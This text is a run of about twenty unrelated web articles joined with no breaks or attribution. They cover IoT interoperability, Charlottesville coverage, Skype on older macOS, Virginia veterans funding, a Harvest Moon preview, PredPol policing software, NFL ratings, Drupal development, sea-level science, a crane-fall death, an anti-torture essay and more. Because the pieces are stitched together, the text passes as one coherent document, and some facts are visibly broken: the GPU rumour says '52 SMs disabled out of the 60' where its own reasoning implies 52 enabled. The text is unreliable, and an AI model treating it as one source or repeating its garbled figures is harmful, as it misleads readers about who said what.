With the Internet, everyone won because nobody won. In the 80s, each computer vendor had a proprietary network: IBM, DEC, even startups like Apollo. The thinking was that if you made it hard to integrate equipment with other vendors, you could capture a client for yourself. The problem with that vision was simple: it was horrible for the customers. The assumption behind any “lock-in” strategy is ultimately that your product is poor and that customers will gladly switch vendors if given a chance. And customers did switch when they realized that they had a chance: away from the proprietary networks and toward the open TCP/IP protocols. By 1990, it was clear that the proprietary networks were disappearing and that we were converging on the open Internet standards. The rising tide did indeed float all the boats. The few vendors who tried to “differentiate” themselves with features that didn’t interoperate failed; Microsoft ultimately gave up on the desire to “embrace, extend, and extinguish” the web.
With the Internet of Things, it’s deja vu all over again. The vendors who provide public APIs and support open standards will succeed in the long run. Likewise, the vendors who try to trap consumers behind proprietary software and non-interoperable products will eventually fail, to everyone’s detriment. If you win the IoT, you lose it.
“Since the weekend, witnesses have told us that in fact, both sides were antagonizing for a fight,” NBC’s Tom Costello says. Later, the report shows a clip of Trump’s Tuesday press conference in which he said, “What about the alt-left? What about the fact that they came charging…with clubs in their hands, swinging clubs?” Costello’s narration continues, “In fact, that’s true. Witnesses tell NBC News there were people on both sides who seemed ready for a fight and some counter-protesters were armed with clubs, some with pepper spray.”
The BBC published a similar look at the violence in Charlottesville and what Trump said about it. BBC reporter Joel Gunter, who was there Saturday, said, “The President said that the violence on Saturday was perpetrated by both sides.” After playing a clip of Trump’s press conference, Gunter continued, “Trump is right. There was violence on both sides. I saw counter-protesters throw bottles, rocks and paint and clash with the white supremacists. Both sides sprayed pepper spray.”
Gunter goes on to say that the “majority” of counter-protesters were “locals” who “didn’t want racism on their streets.” In other words, while it’s true that there were violent counter-protesters, there were also many who weren’t the sort of hard core Antifa activists we’ve seen at many of these events. Some of the counter-protesters were just people who don’t like Nazis and white nationalists.
I’m pointing all of this out because there are many in the left-wing media still outraged that Trump suggested there was left-wing violence last weekend. But the truth is that there was, though it has to also be said that the left-wing violence didn’t include murder. The Nazi violence did.
While both of these clips back up a portion of what Trump said yesterday, they also criticize him for suggesting there were “very fine people” among the racist protesters. This seems fair to me. Trump could have said that in America even Nazis have a right to speak without being physically set upon. That would have been accurate. But that’s not the same as saying a torch-bearing, racist mob chanting anti-Semitic slogans contains some fine people. As the BBC’s Gunter says of the Tiki mob, “It’s hard to see how anyone on that march could be unaware of the clear racist overtones.”
Hi everyone,
there seems to be a lot of confusion around this. First, let me assure you that no-one is locking you out from using Skype on OS X 10.6 - 10.8 and there is no need to upgrade to Mavericks or (the new OS X now in dev preview) Yosemite if you don't want to.
All OS X 10.6 - 10.8 users can head over to http://www.skype.com/en/download-skype/skype-for-mac/downloading/ and get version 6.15. This is a very solid release and you can still use all of the main features without any problems (i.e. group video, group chats, screen sharing etc).
Note that you should only use the link above, it serves you with a correct update for your OS version, direct links (to DMG files) can work, but are not guaranteed to do so.
That said, we still encourage you to stay up to date, meaning upgrading to Mavericks and getting the latest Skype.
Hope this clarifies things a bit.
If you have problems updating, please let us know in this thread and I'll try to help you.
McAuliffe announced the budget proposals at Tidewater Community College in Portsmouth Friday afternoon.
The services will reportedly include education and workforce programs, and improved access to health and financial supports.
"Virginia is home to nearly 800,000 veterans and their families, and we have a responsibility to honor their service and empower them to lead successful civilian lives," said Governor McAuliffe, speaking at Tidewater Community College.
The Governor also announced a $2.43 million bond package to expand the Virginia War Memorial and to construct two new care centers in Hampton Roads and in Northern Virginia.
On Friday, Secretary of Veterans and Defense Affairs John Harvey stated, "By investing in key services and pathways to successful careers, we can honor the men and women who stepped forward to keep us safe and benefit from the enormous contributions they can make to our economy."
So, how did this all happen? How did one of the great Japanese franchises fall from grace? Part of this has to do with not iterating on the formula enough a decade or so ago. For a while, Harvest Moon rested on its laurels; and when each new entry came out, they felt just like the last but with a fresh coating of paint applied. Too long did the developers ride the coat tails of the more successful games in the series, and took their audience for granted in the process. They took audiences for granted for years, in fact–about ten to be specific–and it really wasn’t until the mid-2000s that the development team decided they needed to shake things up a bit. But in actuality, this was really only prompted by stagnating sales, not a desire to do right by the franchise’s fanbase.
Unfortunately, these new ideas came in the form of additions and subtractions that weren’t needed or wanted at all. This consequently left us with titles like the most recent installment, The Lost Valley; a pretty disgusting little game that is Harvest Moon only in name and nothing else. Of course, part of Valley‘s disappointment was due to Natsume themselves–the series’ age-old publisher–taking the development reins for the first time. Needless to say, some folks lost faith in the series upon Valley’s release; and rightfully so. But Natsume is coming back with another installment in the venerable franchise entitle “Seeds of Memories.”
Thus far, there hasn’t been a whole lot unveiled about the project other than it’ll be coming out to Wii U, PC and mobile platforms. That’s not exactly the type of news that leaves us particularly hopeful, mostly because whenever we hear a game is releasing on mobile, we immediately cringe. There have been some small impressions from folks who got a glimpse of the game at E3, but those weren’t all that glowing either. The studio have done some developer blog stuff, but it’s all been fairly tame and vague. So, essentially the game is shrouded in darkness since its announcement earlier this year.
Yesterday, however, we finally got a decent amount of information from said developer blog about some of the more prominent aspects of the game.
“Harvest Moon has always been about building a successful life, which means running a successful farm, and also building a meaningful life with friends and family. Marriage has always been an important part of the franchise, and in Harvest Moon: Seeds of Memories, we wanted to be careful to balance it against other gameplay aspects. We also want to make sure that wooing your favorite bachelor or bachelorette isn’t so time consuming that you can’t get to the other parts of the game you love. Therefore, we’ve put a lot of thought into how to balance dating, marriage, and family in Seeds of Memories. First, we’ve made it so affection meters are visible on each text box. Raising your affection with all of the villagers – not just the bachelors and bachelorettes – will be a key part to restoring the memories of the villagers in Chestnut Town. Second, we’re bringing back foraging and gift giving. We know for some fans, their absence was felt in The Lost Valley, and it makes sense for Seeds of Memories to include them. Just like classic Harvest Moon games, each villager has their own tastes, and may like or dislike certain items, including those foraged in the nearby mountains. We’ve also increased the number of bachelors and bachelorettes. You may remember April, Catherine, and Emily, as well as Gilbert, Hunter, and Tony from Harvest Moon: The Lost Valley. These characters will be returning as marriage candidates, along with Luke and Andrea, who will be part of the Seeds of Memories cast! We’re also excited to announce that, due to fan demand, we’re adding two additional marriage candidates: Tabitha, the witch extraordinaire, and Gareth, the logical wizard! Both of these magical characters give fans a chance to add a dash of the mystical to their romantic relationships! And getting married isn’t just window dressing…it’s a big part of restoring the Seeds of Memories in the game! But we’ll be discussing that more in a future Development Diary!”
No doubt, there are some tried and true Harvest Moon trappings talked about in there. In fact, from that blog entry, we’re at least cautiously optimistic about where the game, and subsequently the series, is headed. It sounds like they’re commendably trying to capture the magic of earlier series entries. Whether or not they can pull that off remains a mystery. Too many times have we heard this about Harvest Moon — about how the next one will incorporate the charm that gave the franchise its popularity. — yet this has fallen flat more times than it’s succeeded. And at the same time, the new ideas that have been implemented into Harvest Moon games haven’t exactly caught fire either.
The program was adapted from similar software meant to predict earthquake aftershocks.
Many police stations still use obsolete technology due to small budgets and aversion to change.
Even so, police depend heavily upon social media to solve crimes.
For something that predicts the future, the software is deceptively simple looking.
A map of a city is marked up with small red squares, each indicating a 500-by-500-foot zone where crimes are likely to take place next. A heat-map mode shows even more precisely where cars may be stolen, houses robbed, people mugged.
The program is called PredPol , and it calculates its forecasts based on times and locations of previous crimes, combined with sociological information about criminal behavior and patterns. The technology has been beta tested in the Santa Cruz, California police department for the past year, and in an L.A. police precinct for the past six months, with promising results.
Predictive-analytics software is the latest piece of policing technology working its way into law-enforcement stations around the country, although it's going up against tight budgets, bureaucracy and a culture still clinging to its analog ways.
"We had to try something because we were not being offered more cops," said Zach Friend, a crime analyst with the Santa Cruz Police Department. Last year, Friend contacted researchers working on the algorithm -- originally used for predicting earthquake aftershocks -- after reading an article in the LA Times.
At the time, his city had experienced a 30% increase in crime and a 20% decrease in police staff. He knew they had to try something.
At first the Santa Cruz police department used the software to estimate where home, car and vehicle burglaries might take place, handing printouts of the maps to officers at the start of their shifts. Later it expanded it to bike thefts, battery, assault and prowling. The city has seen a 19% reduction in burglaries over the past year.
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While these kinds of experiments are promising, most police stations are still a far cry from the futuristic headquarters we see on TV shows like CSI. Real police departments lag behind your typical American teenager when it comes to technology -- some police cars still record video on VHS tapes, and it's not uncommon to fill out a police report on carbon paper.
Last month, San Francisco Mayor Ed Lee announced plans to develop a smartphone app that would allow officers to file police reports from the field. But SFPD chief information officer, Susan Giffin, told the Bay Citizen the department doesn't have the budget to buy smartphones on which to run the app. (San Francisco police officers only got e-mail addresses for the first time last year.)
Thankfully for crime fighters, it's not all landlines, beepers and fax machines. Cool new crime-fighting technology is still being developed and tested by agencies around the country. There are gadgets such as Taser's small wearable cameras for police and other security professionals. The units can mount on a pair of Oakley sunglasses or a shirt collar, and they have accompanying Android and iOS apps.
In Southern Florida, many police departments are using portable fingerprint scanners to ID suspects and bring up any outstanding warrants on the spot. The smartphone-sized devices cost $2,500 apiece.
ShotSpotter system uses microphones positioned around a city to detect gunshots and triangulate their location within 40 to 50 feet. A human at ShotSpotter's headquarters confirms if it's a gunshot and alerts the police. The system starts at $40,000 for every square mile of coverage.
Some of the more widely adopted tech is decidedly low-budget. Police can Google suspects and check their Facebook profiles to gather information. Friend says the Santa Cruz department has had more luck posting photos of wanted suspects to the official department Facebook page than through traditional police channels. (The unusually tech-savvy department also has a Twitter account, blog, and YouTube channel.)
Now predictive policing software is picking up steam, thanks to a few well-publicized test cases, low overhead and impressive drops in crime rates that, while they can't be directly tied to any one initiative, bode well for the maps.
PredPol is new to the field, but IBM has been testing predictive policing software since 2010, using databases of past crimes and information like timing and weather to identify trends and map out predictions. The company has worked with police departments in Memphis, New York City, and most recently Charleston, South Carolina.
PredPol's system features a map of a city marked with red squares to show zones where crimes are likely to occur.
A final hurdle for all types of new technology is getting the officers themselves to adopt and use it.
"Law enforcement agencies historically are conservative in their approach to change. That includes to adopting all kinds of technology, from computers in the cars to even radios," said Friend. A new generation of police who have grown up immersed in technology will likely help ease the transition by communicating to older officers that the new tools only enhance what they already know.
Seasoned patrol cops rely on their instincts, developed over years of experience walking the same streets and patrolling familiar neighborhoods. Experts say this new technology can cut down on paperwork and make policing more efficient so the police can focus on what they do best.
Overall, the Redskins 27-10 victory was down 9 percent compared to last week's matchup between the Green Bay Packers and Atlanta Falcons, and 11 percent when compared to last year's Week 3 Sunday night game on NBC.
The afternoon games also didn't fare well, with Fox's national game between the New York Giants and Philadelphia Eagles down 16 percent from the featured game in Week 3 last season on the network.
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...NFL attendance and ratings are WAY DOWN. Boring games yes, but many stay away because they love our country. League should back U.S. — Donald J. Trump (@realDonaldTrump) September 24, 2017
CBS's national game at 4:25 p.m. ET, an overtime thriller featuring the Green Bay Packers comeback over the Cincinnati Bengals, was down just 1 percent when compared with 2016's Week 3."NFL attendance and ratings are WAY DOWN," President Trump tweeted Sunday morning. "Boring games yes, but many stay away because they love our country. League should back U.S."
Approximately 180 players didn't stand for the anthem during Sunday's games.
The Pittsburgh Steelers, Tennessee Titans and Seattle Seahawks did not leave their respective locker rooms for the national anthem.
Steelers lineman Alejandro Villanueva was the only Steelers player to come out of the locker room before his team faced the Bears in Chicago.
Villanueva served three tours in Afghanistan as an Army ranger.
Global Entrepreneurship Network also announced its official affiliation in India and plans to set up a dedicated office, bringing all key stakeholders together. GEN India made progress in consolidating major ongoing activities by formal nomination from India through the Global Entrepreneurship Research Network, as well as contribution to the Startup Nations Atlas of Policies through Startup Nations.
At Global Entrepreneurship Week 2016, the momentum is strong. Startup Ashoka, organized by GERN partner Ashoka University, saw more than 100 students on Nov. 4 and Nov. 5 coming forward to pitch new ideas, showcase their existing start-ups and learn from fellow aspiring student entrepreneurs to make their ideas viable and scalable. We were also honored to have MakeSense community members visiting us from France and the United States that organized a meetup to talk about innovations to fight climate change.
From students and women entrepreneurs to policymakers and investors, we are getting to see everyone celebrate entrepreneurship, share their own entrepreneurial journeys and provide support to keep this momentum going. GEN India is focused and committed in supporting each and every entrepreneur in the country by providing them all sufficient means to take their enterprises to the next level.
Some of the major events during Global Entrepreneurship Week include the Think Big conference, organized by WeConnect India. The conference attracts more than 2,000 women entrepreneurs in Bangalore and is jointly hosted by the government of Karnataka and WeConnect. Think Big will be followed by keynote talks by the U.S. Ambassador to India, Richard Verma; Amitabh Kant, the CEO of Niti Aayog; a panel discussion with SlideShare co-founder and current head of India's DigiLocker Project, Amit Ranjan; as well as the voice of women entrepreneur Sairee Chahal, founder and CEO of Sheroes.
With the newly launched Digital India initiative by the government of India, we are seeing a huge increase in tech start-ups and mobile applications. This is due to the adoption of digital practices. To catalyze the same, a digital marketing workshop was organized by Jaarvis Accelerator. The workshop witnessed great participation and enriching discussion on changing trends of digital marketing and upcoming challenges.
More from The Global Entrepreneurial Revolution:
These Midwest towns are starting to rival Silicon Valley
Nationalism not hurting this $22T sector
The secret to job growth and prosperity
GeForce GTX 1080 Ti To Launch At CES 2017
While all of this should be taken with a grain of salt, goes into detail about the specifics. The GTX 1080 Ti will reportedly feature am impressive 10.8 TFFLOPs of performance which is delivered by 3328 CUDA Cores, a 1.6GHz Boost Clock and 12GB of GDDR5X memory. All of this is made possible using a slightly cut-down version of the GP102 graphics core with just 52 SMs disabled out of the 60 which the variant powering the Titan X Pascal features.
This of course, would make sense as cutting down the number of SMs would allow for better yields which would bring down the price point, an increase in the GPU Boost Clock would then help to make up the difference in performance, without raising the overall TDP significantly, if at all.
Of course, this is all speculation at this point, however, we’ll be paying close attention as the story develops and bring you any new details as we receive them.
We’ve all heard the term Not Invented Here (NIH) thrown around. It refers to a phobia of using technologies that weren’t developed in-house. What some of us might be a little less familiar with is its opposite, Invented Here (IH), which occurs when people are uncomfortable innovating in-house or developing anything for themselves.
IH is a huge problem in the Drupal world.
Why Drupal specifically?
Drupal spreads IH just because Drupal can do so much with so little code (see more about this in my Golden Handcuffs post). Need a customized listing of content with filters? Use Views with exposed filters in the GUI! Need a custom page build with blocks and menus and random crap in a specific layout? Use Panels' page builder in the GUI! The list goes on.
So people see all of these cool things you can do without coding anything yourself, and they hear things like "there's a module for that!" constantly, and they start thinking in terms of contrib instead of in terms of code. The go-to mindset of a lot of Drupal developers, when presented with a problem, is "what combination of contrib modules could do this for me?" instead of "what's the best way to make this, whether it uses contrib or not?"
Why is this bad?
This mindset is harmful because it removes "what is the cleanest/best way to do this" from the list of questions that developers ask, leading to kludged together solutions within a bunch of unnecessary contrib modules that do a lot of stuff you don't want or need.
Let's take a specific example. Say that you need to display a listing of nodes in three columns and you need to add a taxonomy term filter at the top. That's simple enough using a Views with a grid format and an exposed filter for the term reference field. Now say that the filter needs to be checkboxes instead of a select dropdown, but to prevent a wall of checkboxes showing up you have to limit it only to taxonomy terms which have their own "Featured?" checkbox field checked. So you add a new exposed filter and add the Better Exposed Filters module to output it as checkboxes. Then you try to add a relationship to the taxonomy term to add a filter for the Featured field but the client complains that that also filters the nodes returned which is wrong. So you'll have to undo that and dive into the Views API and hook into the exposed filters and make that happen. And then the client comes back and says that she wants the number of columns to change depending on how many results there are. So now you'll either have to override a template or hook into the view rendering and change the number of columns setting on the fly based on the number of results. This is the part where you quit your dreams of web development and go to clown college or apply at Subway. And you haven't even seen what was coming up in the next phase.
So you started with an accepted contrib module and added more and more crap on top of it until it became a big unmaintainable mess. We've all been in situations like this where a contrib module works except for this one thing or that other thing that you have to override or hack or add another module for, and you end up with a solution that you're not proud of and that you dread having to maintain, all because it seemed easiest to start with contrib.
What's the alternative?
It's simple, code it yourself. In the example above, make a custom menu callback that runs an EFQ for the nodes and spits them out in a custom template, and build your own form to do the filtering. It's no more work than a couple hours, probably less time than you would have spent screwing around in the Views API trying to get it to obey you, and you get a solution that you have full control over and that you don't have to be embarrassed by.
Another classic example is breadcrumbs. You can either dig into one of the many breadcrumbs modules (Hansel, Custom Breadcrumbs, Menu Breadcrumb, Crumbs, etc.) and try to find some combination that fills whatever bizarre requirements have been thrown at you. Or you can use drupalsetbreadcrumb() in your hooknodeview()'s and hooktaxonomyterm_view()'s and wherever to do exactly what you need with a few lines of code while avoiding the thousands of lines you'd be adding with any of those modules.
Reinventing the wheel
For some people, leaving behind all of those contrib modules is a tough sell, because contrib is really one of the great things about Drupal. If you're going to reinvent the wheel on CMS features and just use it like a framework instead of like a CMS, they say, then why not just use Django or Rails? My answer to that is that you're still getting the best out of Drupal, you're just getting it from a different place. Instead of milking Views and Panels and Hansel and Context for all that they're worth, you instead milk entities and permissions the Bean module and EFQ and FAPI and DBTNG and fields and hooks for all that they're worth. Django and Rails just don't have equivalents for a lot of that.
Plus it's not like you have to ignore contrib completely. You still have amazing things like Drupal Commerce and OpenLayers at your fingertips, and you're still open to use Views and Panels and whatever else when it makes sense. It's still Drupal.
In the end, it all comes down to two things: building things quickly and buildling things well, and if rolling your own features in some cases means that you don't sacrifice on time and you get a bit of a boost in quality then I don't understand the hesitation there just because you're ignoring some modules in the process.
Update and responses
Wow, this post has generated some great discussions. Besides the comments below, also check out the short Reddit thread and the Google+ comments for some really good insight. I wanted to respond to a few common ones:
You're not taking maintenance into account, Mike! If you custom code things, you have to maintain that, and if you use contrib, somebody else does it for you.
I can't argue with the fact that custom code requires maintenance, but I wholeheartedly disagree that using contrib requires little to no maintenance. I've spent way too many hours fighting upgrades that break dependencies or modules that depend on buggy .dev versions of other modules or tracking down an issue for a bug (that may or may not have a patch which may or may not be current or even work) to agree with that statement.
It's technical debt either way, and if you're worried about technical debt that you own then I think you should be just as worried about technical debt that some other unknown dev or perhaps even no one owns.
It's not black and white, you can use contrib where appropriate and use custom code where appropriate.
This is true, and I apologize if my post came across like it wasn't. If you find a solid, well built and maintained contrib module that does what you want well then you'd be a dummy not to use it.
My point is that this mindset of having to use contrib ("there's a module for that!") is dangerous. If you find yourself struggling to find a way to implement a feature with contrib or stretching modules past what they're made for or mushing different modules together in a way that makes you queasy, then that's an opportunity to ask yourself why you aren't just coding it yourself.
Custom code boxes you in. A good contrib module integrates with Views, Services, Rules, etc.
Ask yourself if you really need integration with this stuff. If you do, then ask yourself how much it time it would take to integrate that stuff into your custom module vs. how much time it would take to extend/override a contrib module (which already has support for that stuff) to fit your specs. And then ask yourself how gross the implementation will be either way. At this point you should have a pretty clear picture of what to do--basically go with the one that scares you the least.
Custom code takes longer than using contrib. Think of the budgets!
This is true sometimes, and in cases where this is true I'd probably advise you to use contrib. This post is about cases where it's not true--where extending and overriding contrib takes more time than custom building. I've found that if you really think about it, this happens more often than you'd like to admit.
Deadwood came and went in the blink of an eye. Without a proper burial, the HBO show has continued to gain a large cult following. As the series bowed out long before it should have, the idea of a revitalized return has been languishing since the season 3 finale. It appears that we're about to enter new territory as the characters from Deadwood are about to get a full length film by the original show runner.
For years now, fans have lusted after a movie that would feature their favorite characters from the series. With news breaking months ago that the cable tv outlet was thinking about making a film out of the Western, it appears that writer David Milch has completed work on the script and has delivered it to HBO for their final approval.
In a strongly worded letter to Quebec Premier Phillipe Couillard, Watson called Bill 62 "regressive legislation" that discriminates against women.
Critics say the law violates the charter rights of Muslim women who chose to wear a niqab or burka. The bill, which passed last Wednesday, bans the wearing of such face coverings by anyone receiving public services, including public transit.
In his letter dated Tuesday, Watson pointed out that Ottawa residents regularly use public services across the Ottawa River.
"I am saddened that, in doing so, they will not enjoy the same freedoms as they do in Ottawa," Watson wrote.
Watson urges reconsideration of Bill 62
Watson told Couillard OC Transpo workers will not enforce the law. "To be abundantly clear, they will be instructed not to," Watson wrote.
"I sincerely hope that, with the opportunity for reflection, your government will abandon what can only be described as a thinly veiled appeal to populist sentiment, in light of the divisive effects."
The law has also been condemned by the Montreal Mayor Denis Coderre, and by civil rights groups..
Info:
Beginning summer 2017, guests at Disney California Adventure Park will join in a daring confrontation with one of the most unusual characters in the park’s history: Tanaleer Tivan, the Collector. He has opened his unique collection of fauna, relics and species to guests for a special tour culminating with his latest prized possessions: the Guardians of the Galaxy, themselves! Fortunately, Rocket has a plan to free his friends – and that plan includes recruiting Disneyland Resort guests in a sensational rescue effort.
This comically cosmic, rocking new adventure, Guardians of the Galaxy – Mission: BREAKOUT! is the result of a collaboration between the creative minds behind the comic books, the films and Walt Disney Imagineering. The attraction will drop guests directly into the story alongside characters from the comic books and the blockbuster films.
James Gunn's Guardians of the Galaxy 2 also opens May 5th.
Enlarge this image toggle caption David Goldman/AP David Goldman/AP
The world's oceans are rising. Over the past century, they're up an average of about eight inches. But the seas are rising more in some places than others. And scientists are now finding that how much sea level rises in, say, New York City, has a lot to do with exactly where the ice is melting.
A warming climate is melting a lot of glaciers and ice sheets on land. That means more water rolling down into the oceans.
But the oceans are not like a bathtub. The water doesn't rise uniformly.
To understand why, think of the earth as a spinning top. When huge ice sheets — some are two miles thick — start to melt, it actually affects the Earth's rotation.
"What happens is when you change the mass of the ice," explains Eric Larour, who studies the frozen parts of the planet, "the modification itself makes the wobble change, and this in turn changes the shape of the ocean on the Earth."
When the wobble shifts, the oceans shift as a whole, as if you were shaking a mound of Jello at the Thanksgiving table.
That's part of the story, but something else happens too.
Many ice sheets and glaciers are so massive, they produce a significant gravitational field, almost as if they were small versions of the moon. The force is tiny, but it does attract nearby ocean water.
"So what happens when the ice melts," says Larour, "is that there is less of it, so the ocean recedes away from the mass of ice."
Larour's team at NASA's Jet Propulsion Lab has mapped how changes in these giant ice fields influence sea levels both nearby and thousands of miles away. They published their results in the journal Science Advances. For example, the ocean along Norway's coast could actually drop a tiny bit if nearby ice sheets in eastern Greenland melt. Meanwhile, those Greenland ice sheets could raise sea levels by inches on the other side of the planet — in places like Tokyo.
Larour says this is useful information: "Out of all the masses of ice around the Earth — Alaska glaciers, Greenland, Antarctica, Patagonia, Himalaya — which ones are going to be contributing to sea level in New York?"
It turns out that in New York City, the sea level would be affected more by melting ice on the northern end of Greenland than much closer ice in southern Greenland, or even ice in Canada.
Scientists are now using this information to predict the future for American cities, but they're also building in a lot of local geographical information. Oceanographer William Sweet is one of those scientists, and he has a personal interest in that future; he lives along the Chesapeake Bay.
"Right here on the Severn River," he says as he sits on a dock on the riverside, "we are somewhere that's very likely to experience 25 to 50 percent more than the global average" of sea level rise.
Sweet works at the National Oceanic and Atmospheric Administration, which is putting together a sea level rise grid for the country, one that will factor in local conditions as well as the effects of faraway melting ice. The land along Louisiana's coast is sinking, for example, as are parts of the East Cost. And off the East Coast in the Atlantic, a huge river of warm water — the Gulf Stream — could influence sea level as the Atlantic warms.
"Every 60 miles or so along the United States coastline," he says, the grid will lay out for local authorities what their coastline will look like over the rest of the century under various warming scenarios. "So it really matters when you start planning ... 'I'm going to be prepared for one meter of sea level rise.' Well, you might want to be prepared for four or five feet."
He adds that one thing's for certain: "Once you wait until you realize you have a problem, it's going to be chronic rather quickly."
The Nigerian centre back, 22, signed a new contract with the Blues on Tuesday before heading to Istanbul to sort out his short-term future.
Besiktas wanted Omeruo as a solution to their defensive crisis but have found themselves pipped by the Alanya-based Turkish Super Lig new boys.
Kenneth Omeruo (centre) has moved on loan to Turkish side Alanyaspor from Chelsea
The defender had labelled his move to Turkey as a chance for him to prove himself away from Stamford Bridge.
'The focus right now is to play regularly and establish myself here,' Omeruo told BBC Sport.
'I know what to expect joining a team with big ambitions - it means the bar has been raised even higher.'
He played in the Turkish league last season when he was on loan at Kasimpasa, where he made 25 appearances.
The defender (left) says that the loan move gives him a chance to prove himself
The contract extension he signed with Chelsea means he is tied to them until July 2019.
He believes that this season is pivotal for him and his chances back in London.
'I don't want to enjoy the tag of being a Chelsea player always going out on loan without regular football,' Omeruo said.
'My desire is to prove myself a worthy addition to Alanyaspor, make a significant contribution in all competitions and take it from there.
Alanyaspor are also hoping to complete a move for Monaco striker Vagner Love
It began in the morning with a frantic call from a couple who had spotted a "corpse" while out walking their dog in a mountain forest in Izu, central Japan, the ZakZak news website reported today.
Fifteen officers were dispatched to the scene, where they discovered a human form wrapped in plastic and tightly bound around the neck, midriff and ankles, with hair protruding from one end.
The body was left untouched and taken away for examination, and the crime scene duly secured by a police cordon.
Back at the local police headquarters, officials notified reporters who had turned up early the same morning to cover an annual earthquake drill. They began preparing to write up the launch of a major murder investigation.
Dozens of extra officers were dispatched to interview potential witnesses, while the evening edition of the local newspaper carried a report of the gruesome find, complete with a photograph of the body's resting place.
By mid-afternoon, the body was in the hands of police pathologists. But when they sliced open the wrapping, they were confronted not by a decomposing corpse, but by a life-sized sex doll.
A police spokesman apologised for the commotion but defended his officers, saying they had simply been following protocol by leaving the concealed "body" untouched until it was in the hands of pathologists.
Though no crime had been committed, the spokesman could not resist admonishing the doll's mystery owner. The doll, he told bemused reporters, showed signs of repeated use.
Update: The coroner's office on Thursday released the name of the man who died. Read KTLA's latest story here.
A suspected car thief plummeted to his death Wednesday night, hours after climbing onto a crane at the Port of Los Angeles following a reckless pursuit that spanned multiple cities and involved several agencies, officials said.
The man fell off the crane, located at Berth 100, about 9:20 p.m. Within minutes, emergency personnel could be seen placing a white sheet over his body, Sky5 aerial video showed.
He fell about 160 feet and was pronounced dead at the scene, according to a Los Angeles Fire Department alert.
It was unclear if the the man had jumped, or if the tumble was accidental.
Prior to the fatal fall, the man had exhibited bizarre behavior while atop the crane tower, at times doing handstands and crunches while continuing to evade police, aerial video showed. At some point, he also stripped naked.
Before climbing onto the crane, the man could be seen driving in and out of lanes at the port in a white 2018 Subaru. The stolen SUV had paper plates and had a tracking device that authorities used to find it.
The incident began about 3:10 p.m., when the Los Angeles Police Department received a call about a vehicle stolen out of San Bernardino, LAPD Officer Tony Im told KTLA.
Officials were in pursuit of the SUV earlier, but lost it on a freeway. Torrance police later picked it up, but called off the pursuit; the SUV was then chased by Long Beach police, Im said.
After driving erratically through lanes at the port, the man got out of the SUV and began climbing the stairs of a crane tower at the West Basin Container Terminal, sometimes going up backwards. The man then broke a window and climbed through the opening into the crane's engine room, continuing to walk walking around.
At times the man sat on the crane and appeared to stretch, do crunches and handstands, and dangle his feet over the edge, aerial video showed. He eventually took off his shoes, shirt and pants and was naked by nightfall.
Meanwhile, police surrounded the area and tried to convince the man to surrender.
Authorities have not yet released his name.
Patrick Bates, a crane operator who works for the yard, told KTLA that the man was on the tallest crane in the harbor before he fell. Bates described the area that the man broke into as "the house," saying it contains the crane's engine room.
Bates said he was leaving work when he passed the man who was involved in the pursuit.
“I knew something bad was happening,” Bates said.
"It was unbelievable, the height of that, it takes your breath away, I don’t care how long you’ve been doing it," he said referring to the crane. "He was up there doing things that I just could not believe."
But if the question of whether it is appropriate to repeatedly waterboard a prisoner, keep him awake for 11 straight days, and confine him in a box filled with stinging insects amounts to a "policy difference," as Sen. John McCain recently claimed, why not release all the secret memos, shed light on how these policies have been implemented, and then debate the results?
If this is merely a policy dispute, similar to debates about the estate tax or Social Security, why would those who support the torture of detainees fight to hide the policy that they believe is right from public view? After all, good ideas ought to be able to hold their own in open discussion.
But the truth is that this is about far more than a policy difference, and it is about far more than finding the most efficacious method of gathering intelligence. The question of what values we should compromise in the pursuit of security is a question of conscience. And so the desire of the apologists of torture to keep the torture memos and similar artifacts out of the public’s eye is illuminating. It is analogous to the criminal’s desire to erase his trail and destroy all evidence of his crime.
At every step, torture supporters are fighting to increase and make permanent the cognitive and emotional distance that separates them from the crimes in which they have been co-conspirators. They claim that it is about "moving on." No doubt any criminal would prefer to skip the indictment, the trial, and the conviction in favor of having the charges dropped so that he or she can "move on" and "look forward, not backward."
Observe how the torture apologists constantly attempt to shift the debate away from what is concrete – narratives of a specific individual who was tortured by U.S. interrogators, photographs of torture taking place at Abu Ghraib, and memos describing and authorizing torture techniques in gruesome detail – to abstract questions of efficacy and hypothetical, "what-if" narratives about national security.
In a recent interview on Fox News, former vice president Dick Cheney, one of the most vocal and prominent American supporters of torture, condemned Obama’s decision to release the memos on the grounds that Obama had not also released memos that supposedly show that torture "works," i.e., that it is an effective way of getting information from detainees.
But we heard no explanation from Cheney of how torturing another human being is consistent with a humane and just system of values. One might also ask whether Cheney has ever witnessed the techniques he endorses, or been present while they were implemented, or inflicted them himself.
The struggle over the word "torture," too, is a prime example of this desire of torture apologists to remove themselves from what they support. Certainly, "torture" is a political word with political consequences. But if television networks and newspapers think they are being neutral and apolitical by describing torture as "enhanced interrogation," they ought to think again.
The adjective "enhanced" implies that enhanced interrogation is a superior form of ordinary interrogation or formal questioning. "Enhanced interrogation" is a euphemism for torture, and its use is one more technique that allows torture supporters to maintain distance between their consciences and their crimes.
These distancing techniques allow torture apologists to attempt to reclaim the high ground in the debate by turning it into a conversation about who is ready to make the "tough calls" that are supposedly "necessary to keep American safe." The argument runs something like this: Some go on about human rights, American values, and international law, but at the end of the day, the challenges we face require that we go beyond ordinary interrogation in favor of "enhanced" interrogation.
For all their supposed tough-nosed realism, however, torture supporters seem remarkably uncomfortable with hearing the details of exactly what they support. For all their eagerness to confront and defeat America’s enemies at all costs, their approach is decidedly more managerial than in-the-trenches; not only are the ideologues of torture the the ones giving the orders, casting the votes, and providing the intellectual rationalizations from afar rather than anywhere near the dungeons where their fantasies are made real upon real human beings, they don’t even want to hear or see the details, after the fact, of what they have done.
That, more than any argument, ought to tell us something about the justice of their cause.
The Chicago Bears blow out win of the Cincinnati Bengals was fun, but there is nothing too major in the short term to take away from this game. The Bengals were banged up and unmotivated, and the Bears had nothing to lose. However, it was clear that this game was important for Kyle Fuller. Fuller, a free agent this offseason was matched up with annual Pro Bowler A.J. Green. Fuller has had a strong season, but had to know a late season shut down of Green would be the icing on top of his extension producing cake.
Fuller did just that, and went toe to toe with Green, coming away victorious. Below, you see the first route the two go up against each other. Green is running a comeback. However, look how well he runs it. His body is swaying in and out. He could run a post, an out or a comeback based on his movement. However, Fuller reads him like a book. He immediately gets in front of Green, jumps the route ,and forces an incompletion.
He also showed great recovery to keep up with Green down the field. Below, he knows he has the safety, Chris Prosinski over the top and towards the middle. He takes away the inside and sideline and forces a great pass from Andy Dalton to fit into the window of defenders. The pass fades just a touch, which gives Fuller the time to get his hand in and break up the attempt.
